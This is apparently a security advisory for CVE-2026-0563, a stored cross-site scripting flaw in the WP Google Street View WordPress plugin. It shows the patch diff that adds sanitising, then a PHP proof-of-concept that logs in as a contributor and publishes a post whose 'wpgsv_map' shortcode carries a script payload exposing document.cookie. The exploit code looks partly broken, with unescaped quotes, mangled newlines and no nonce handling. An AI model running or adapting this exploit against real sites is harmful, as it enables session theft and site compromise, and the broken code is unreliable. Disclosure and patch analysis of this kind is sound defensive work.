CVE-2026-0563: WP Google Street View (with 360° virtual tour) & Google maps + Local SEO <= 1.1.8 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'wpgsv_map' Shortcode (wp-google-street-view)

--- a/wp-google-street-view/admin/metabox.php
+++ b/wp-google-street-view/admin/metabox.php
@@ -71,7 +71,7 @@

                 if ( in_array($key, WPGSV_Validate::$textarea) ) {

-                    update_post_meta( $postid, $key, trim($value) );
+                    update_post_meta( $postid, $key, wp_kses_post($value) );

                 }

--- a/wp-google-street-view/includes/shortcode.php
+++ b/wp-google-street-view/includes/shortcode.php
@@ -44,7 +44,12 @@
                 $metadata = array();
                 foreach ( $meta as $key => $value ) {
                     if ( isset( $key ) && in_array( $key, WPGSV_Validate::$fields ) || in_array( $key, WPGSV_Validate::$checkboxes ) || in_array( $key, WPGSV_Validate::$textarea ) ) {
-                        $metadata[$key] = esc_attr( $value[0] );
+                        // Apply wp_kses_post to textarea fields that contain HTML
+                        if ( in_array( $key, WPGSV_Validate::$textarea ) ) {
+                            $metadata[$key] = esc_attr( wp_kses_post( $value[0] ) );
+                        } else {
+                            $metadata[$key] = esc_attr( $value[0] );
+                        }
                     }
                 }
                 $output = '<div class="wpgsv-app" id="app' . esc_attr( $postId ) . '" ';
@@ -111,7 +116,7 @@
     $data_attributes = array(
         'data-lat'     => esc_attr( $atts['lat'] ),
         'data-lng'     => esc_attr( $atts['lng'] ),
-        'data-address' => esc_attr( $atts['info'] ),
+        'data-address' => esc_attr( wp_kses_post( $atts['info'] ) ),
         'data-zoom'    => esc_attr( $atts['zoom'] ),
         'data-type'    => esc_attr( $atts['type'] ),
     );
--- a/wp-google-street-view/wp-google-street-view.php
+++ b/wp-google-street-view/wp-google-street-view.php
@@ -2,9 +2,10 @@

 /*
 * Plugin Name: WP Google Street View
+* Plugin URI: https://better-robots.com/product/wp-google-street-view/
 * Description: The WP Google Street View allows you to embed Google street View (with virtual tour) & Google Maps maps with high quality markers.
 * Author: Pagup
-* Version: 1.1.8
+* Version: 1.1.9
 * Author URI: https://pagup.com/
 * Text Domain: wp-google-street-view
 * Domain Path: /languages/

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0563 - WP Google Street View (with 360° virtual tour) & Google maps + Local SEO <= 1.1.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wpgsv_map' Shortcode

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);

// Check if login succeeded by looking for dashboard elements
if (strpos($login_response, 'wp-admin-bar') === false) {
    die('Login failed. Check credentials.');
}

// Create a new post with malicious wpgsv_map shortcode
$post_data = [
    'post_title' => 'XSS Test Post',
    'post_content' => '[wpgsv_map info="<script>alert('Atomic Edge XSS Test: '+document.cookie)</script>"]',
    'post_status' => 'publish',
    'post_type' => 'post'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$post_response = curl_exec($ch);

// Extract the post ID from the redirect URL
if (preg_match('/post=([0-9]+)/', curl_getinfo($ch, CURLINFO_EFFECTIVE_URL), $matches)) {
    $post_id = $matches[1];
    echo "Exploit successful! Post created with ID: $post_idn";
    echo "Visit: $target_url/?p=$post_id to trigger the XSS payload.n";
} else {
    echo "Post creation may have failed. Check response.n";
}

curl_close($ch);

?>